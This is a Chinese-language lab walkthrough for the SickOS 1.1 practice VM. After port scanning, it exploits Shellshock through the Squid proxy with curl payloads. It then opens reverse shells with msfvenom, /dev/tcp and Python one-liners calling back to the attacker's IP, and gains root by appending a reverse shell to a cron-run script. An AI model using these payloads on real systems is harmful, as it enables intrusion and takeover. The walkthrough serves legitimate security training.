SickOS1.1靶机
声明
B 站UP主泷羽sec
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
- 关注公众号:泷羽Sec-Blanks
X
带你去体验最真实的渗透环境,文章里不会直接摆答案,会全面的带你去进行信息收集以及漏洞利用,会领着你一步一步踩下我踩过的坑,实战往往比这更绝望,练技术须实践。
主机发现+端口扫描+服务信息收集
nmap -sn 192.168.25.0/24
export ip=192.168.25.134
nmap --min-rate 10000 -p- $ip
PORT STATE SERVICE
22/tcp open ssh
3128/tcp open squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)
nmap -sT -sV -O -p22,3128,8080 $ip
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
3128/tcp open http-proxy Squid http proxy 3.1.19
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.10 - 4.11 (92%), Linux 3.13 (91%), Linux 3.13 - 3.16 (91%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Android 5.0 - 6.0.1 (Linux 3.4) (91%), Linux 3.2 - 3.10 (91%), Linux 3.2 - 3.16 (91%), Linux 4.2 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
nmap --script=vuln -p22,3128,8080 $ip
PORT STATE SERVICE
22/tcp open ssh
3128/tcp open squid-http
8080/tcp closed http-proxy
MAC Address: 00:0C:29:C8:E0:D1 (VMware)
这里并没有扫到什么有价值的信息
nmap -sU --top-port 20 192.168.25.134
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
代理服务器3128与8080
这里使用nikto扫描并且指定代理服务器
nikto -h 192.168.25.134 -useproxy http://192.168.25.134:8080
这里使用代理服务器8080端口不能进行扫描
nikto -h 192.168.25.134 -useproxy http://192.168.25.134:3128
-h 参数指定目标主机IP地址
-useproxy 指定使用代理服务器进行扫描,绕过网络限制访问目标80端口,没有扫描到可能就就是存在网络限制
漏洞利用+EXP编写
这里扫出服务器存在bash之门漏洞
curl -v --proxy http://192.168.25.134:3128 http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; /bin/bash -c 'echo vulnerable'"
-v 参数 表示curl运行结果详细显示
-proxy 参数 表示指定代理服务器
-H 表示添加HTTP请求头
User-Agent: () { :; }; echo; /bin/bash -c ‘echo vulnerable’ 为shellshock漏洞验证命令
验证成功我们这里就可以开始利用
curl -v --proxy http://192.168.25.134:3128 http://192.168.25.134/cgi-bin/status -H “User-Agent: () { :; }; echo; /usr/bin/id;exit”
构造反弹Shell的Payload
msfvenom -p cmd/unix/reverse_bash lhost=192.168.25.132 lport=4444 -f raw
msfvenom
:调用 Metasploit 的 payload 生成器的命令
cmd/unix/reverse_bash
是一个 Unix 平台上的反向 Bash shell 命令 payload
-f raw
:指定了输出格式,raw
表示输出未编码的原始 shellcode
bash -c ‘0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;sh <&37 >&37 2>&37’
发现监听没有反应,将sh的路径改为绝对路径
bash -c ‘0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37’
因为上面的漏洞利用本来就是bash环境所以我们在执行的时候不用加上bash -c
这里连接成功
使用py命令,构造回显Shell
python -c ‘import pty; pty.spawn(“/bin/bash”)’
提权
id
uname -a
ifconfig
ls -liah
dpkg -l 看系统装了哪些软件
这里目录下有一个文件 status
cat status 查看
我们可以到/var/www路径中去,因为是个web服务器嘛
cd /var/www
cd wolfcms
cat config.php
在配置文件中我们找到了数据库的用户名root和密码john@123
根据信息联想到定时计划任务
cat /etc/crontab
ls -liah /etc/cron*
ls /etc/cron.d
cat /etc/cron.d
定时任务每分钟执行/var/www/connect.py
那就使用python生成shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.25.132",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.25.132",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' >> connect.py
也可以使用另一种方式 vi 文件 因为交互性不是很好所以我们直接输入就行不用管异常的字符
比如:先按o表示另起一行,然后粘贴,最后Esc加:wq保存
然后等上一会儿就可以获取root权限的Shell了